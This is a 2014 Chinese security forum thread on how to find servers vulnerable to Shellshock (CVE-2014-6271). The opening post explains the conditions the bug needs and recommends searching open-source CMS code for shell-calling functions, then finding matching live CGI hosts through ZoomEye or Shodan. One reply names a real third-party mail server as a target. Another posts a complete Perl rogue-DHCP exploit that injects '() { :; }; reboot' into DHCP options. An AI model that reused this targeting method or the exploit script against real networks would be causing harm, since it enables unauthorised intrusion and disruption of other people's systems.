寻找cve-2014-6271的实例的一点思路

  • A+
所属分类:网络安全

漏洞细节以及基本poc @mramydnei 已经在http://zone.wooyun.org/content/15392给出了。 
开个贴讨论一下如何寻找该cve的靶机。 

先说利用条件: 
1.env可控可写 
2.派生bash子进程 

下图可以很好的说明为什么条件二是必须的。(python的os.system会派生bash子进程) 
寻找cve-2014-6271的实例的一点思路 
所以不要再问,为什么你poc代码打到一个开了cgi模式的php主机上,却没有执行了,因为你访问的那个文件压根就没满足条件二。 

哪些地方可能会满足条件一: 
1.svn,git 
2.apache的mod_cgi,mod_cgid(ua等内容可以控制env) 

哪些东西满足条件二: 
python的os.system,os.popen;c的system,popen;php的system,exec;perl的open,system等脚本语言中可以产生subshell的函数。 


寻找实例思路: 
1.针对web的 
1)首先在各种脚本语言写成的开源cms或者开源mvc框架寻找使用了上述函数的文件 
。假设在phpcms中有一个文件/module/a.php中使用了system函数,那么记录这个文件。 
然后在各种搜索引擎查找/module/a.php且配置了cgi模式的目标,可以用zoomeye或者撒旦。 
2)一些潜在的可能使用了这些特征函数的地方: 
某些网站提供超级ping,dnswalk,在线端口扫描等可能会使用上述的函数调用本地脚本。 

2.针对svn,git(poc自寻) 
到乌云搜索svn关键字,即可获得一些ip。 


本文只是抛砖引玉,有更好的思路欢迎跟帖。 
全网段ip扫描必定没什么收获。除非你在扫ip的过程中顺便将所有文件spider才可能找到目标,不过那好像是百度或者zoomeye干的事情。

1#0x_Jin | 2014-09-25 16:02

前排占楼~~~~~~~

 

2#open | 2014-09-25 16:02

这个不错,顶楼主。

 

3#梧桐雨 | 2014-09-25 16:02

思路挺赞的:)

 

4#疯子 | 2014-09-25 16:02

前排,鸡肋的漏洞,然后让大神们YY个超级漏洞!

 

5#qingxp9 | 2014-09-25 16:03

有好心人给个实例练下手感

 

6#紫衣大侠 | 2014-09-25 16:03

不错啊。有了很好的思路~~

 

7#白非白 | 2014-09-25 16:11

@qingxp9 extmail的去试一下?

 

8#小威 | 2014-09-25 16:12

看起来好叼的样子~

 

9#蒙塔基的钢弹 | 2014-09-25 16:22

@白非白 似乎mail系统成功率很高

 

10#qingxp9 | 2014-09-25 16:28

@白非白 好的,我去找找

 

11#白非白 | 2014-09-25 16:32

@蒙塔基的钢弹 mail大多采用cgi模式。

 

12#scanf | 2014-09-25 17:09

还没有明白这个洞

 

13#fox | 2014-09-25 17:11

我觉得本文可以加精

 

14#白非白 | 2014-09-25 17:25

@scanf 哪里没明白,我可以再解释一下。

 

15#海豚1号 | 2014-09-25 17:36

@白非白  像这种为什么不能利用  http://mail.cranewh.com/extmail/cgi/index.cgi 是不是没有派生bash子进程 。这样说来cgi程序又没有派生bash子进程只能靠试了。

 

16#孤月寒城 | 2014-09-25 17:47

不错。看看

 

17#白非白 | 2014-09-25 18:13

@海豚1号 非要试某个站,可以把useragent设置好,然后用蜘蛛去爬文件,效率肯定比较低。推荐在开源系统中进行代码搜索。比如在cgi邮件源码检索到某文件存在这个问题,基本就能利用了

 

18#白非白 | 2014-09-25 18:18

@qingxp9 extmail是perl写的,有几处调用了system,不过是几个pm文件,不能直接访问,没用过perl,不知道哪个cgi文件会调用这几个pm文件。如果你懂的话可以去看看。

 

19#疯狗 | 2014-09-25 18:28

@海豚1号 这个cgi是bash解析的么?

 

20#hkAssassin | 2014-09-25 18:29

谁能给一个实战案例啊……找了这么就没一个成功过啊……

 

21#海豚1号 | 2014-09-25 18:33

@疯狗 不是的

 

22#海豚1号 | 2014-09-25 18:35

@疯狗 也许是perl 或者别的脚本写的。关键是估计没有派生bash子进程所以无法利用!

 

23#疯狗 | 2014-09-25 18:39

@海豚1号 perl或者其他比如C啥的不受这个漏洞影响吧?

 

24#白非白 | 2014-09-25 18:40

@疯狗 perl的。

 

25#loopx9 | 2014-09-25 19:00

@白非白 只要派生bash子进程,cgi类执行的都应该存在漏洞吧?

 

26#白非白 | 2014-09-25 20:04

@loopx9 @疯狗 cgi类的产生subshell应该都可以被远程利用。https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/

 

27#寂寞的瘦子 | 2014-09-25 20:20

补充下Scala也是可以derving  bash subprocess。喵了个咪。

 

28#phith0n | 2014-09-25 23:20

mark 一下,这才是我要的分析贴。。。!

 

29#terrying | 2014-09-26 00:14

mark

 

30#白非白 | 2014-09-26 08:25

@寂寞的瘦子 大牛你好。。

 

31#zzR | 2014-09-26 08:34

专业选手nb

 

32#浮萍 | 2014-09-26 08:39

大牛你好

 

33#海豚1号 | 2014-09-26 09:54

http://bbs.aliyun.com/read/176987.html 这篇阿里大牛说的ssh 得到bash的交互接口啥意思,总不会ssh上去,然后执行命令吧,本地提权?求大牛解释!

 

34#寂寞的瘦子 | 2014-09-26 09:56

@寂寞的瘦子 啊。。你是主角呀。我是学挖掘机的。

 

35#寂寞的瘦子 | 2014-09-26 11:23

@白非白  醉了。。。我尽然@了自己。。

 

36#白非白 | 2014-09-26 11:38

@寂寞的瘦子 昨晚喝了多少G的ddos?哈哈

 

37#c4bbage | 2014-09-26 13:45

#!/usr/bin/perl

# largely purloined from http://www.perlmonks.org/?node_id=1093916 as my PoC for the old options overflow proved too messy^wPerlish to rework - [machine]

use strict;

use IO::Socket;

use Net::DHCP::Packet;

use Net::DHCP::Constants;

my $server_ip = "10.10.10.1";

my $client_ip = "10.10.10.10";

my $subnet_mask = "255.255.255.0";

my $socket_in = IO::Socket::INET->new( LocalPort => 67, LocalAddr => "255.255.255.255", Proto => 'udp') or die [email protected];

while(1) {

  my $buf;

  $socket_in->recv($buf,4096);

  my $packet = new Net::DHCP::Packet($buf);

  my $messagetype = $packet->getOptionValue(DHO_DHCP_MESSAGE_TYPE());

  if ($messagetype eq DHCPDISCOVER()) {

                  send_offer($packet);

  } elsif ($messagetype eq DHCPREQUEST()) {

                  send_ack($packet);

  }

}

sub send_offer {

  my $request = @_;

  my $socket_out = IO::Socket::INET->new( PeerPort => 68, PeerAddr => "255.255.255.255", LocalAddr => "$server_ip:67", Broadcast => 1, Proto => 'udp') or die [email protected];

  my $offer = new Net::DHCP::Packet(Op => BOOTREPLY(), Xid => $request->xid(), Flags => $request->flags(), Ciaddr => $request->ciaddr(), Yiaddr => $client_ip, Siaddr => $server_ip, Giaddr => $request->giaddr(), Chaddr => $request->chaddr(), DHO_DHCP_MESSAGE_TYPE() => DHCPOFFER());

  $offer->addOptionValue(DHO_SUBNET_MASK(), $subnet_mask);

  $offer->addOptionValue(DHO_NAME_SERVERS, $server_ip);

  $offer->addOptionValue(DHO_HOST_NAME, "() { :; }; reboot");

  $offer->addOptionValue(DHO_DOMAIN_NAME, "() { :; }; reboot");

  $socket_out->send($offer->serialize()) or die $!;

  print STDERR "sent offer\n";

}

sub send_ack {

  print STDERR "send ack\n";

}

111

 

38#c4bbage | 2014-09-26 13:48

dhcp_1.png

 

39#redrain有节操 | 2014-09-26 15:27

@phith0n phith0n老师带我飞

 

40#chopper | 2014-09-26 16:36

执行命令检测需要系统权限,怎么在知道ip,没有账号密码的情况下就检测出这个服务器有没有这个漏洞,这个是乙方人员最关心的问题,求问。。

 

41#白非白 | 2014-09-26 17:36

@chopper | 2漏洞一样。服务器没有暴露存在漏洞的服务给你,你怎么测。


  • 我的微信
  • 这是我的微信扫一扫
  • weinxin
  • 我的微信公众号
  • 我的微信公众号扫一扫
  • weinxin

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: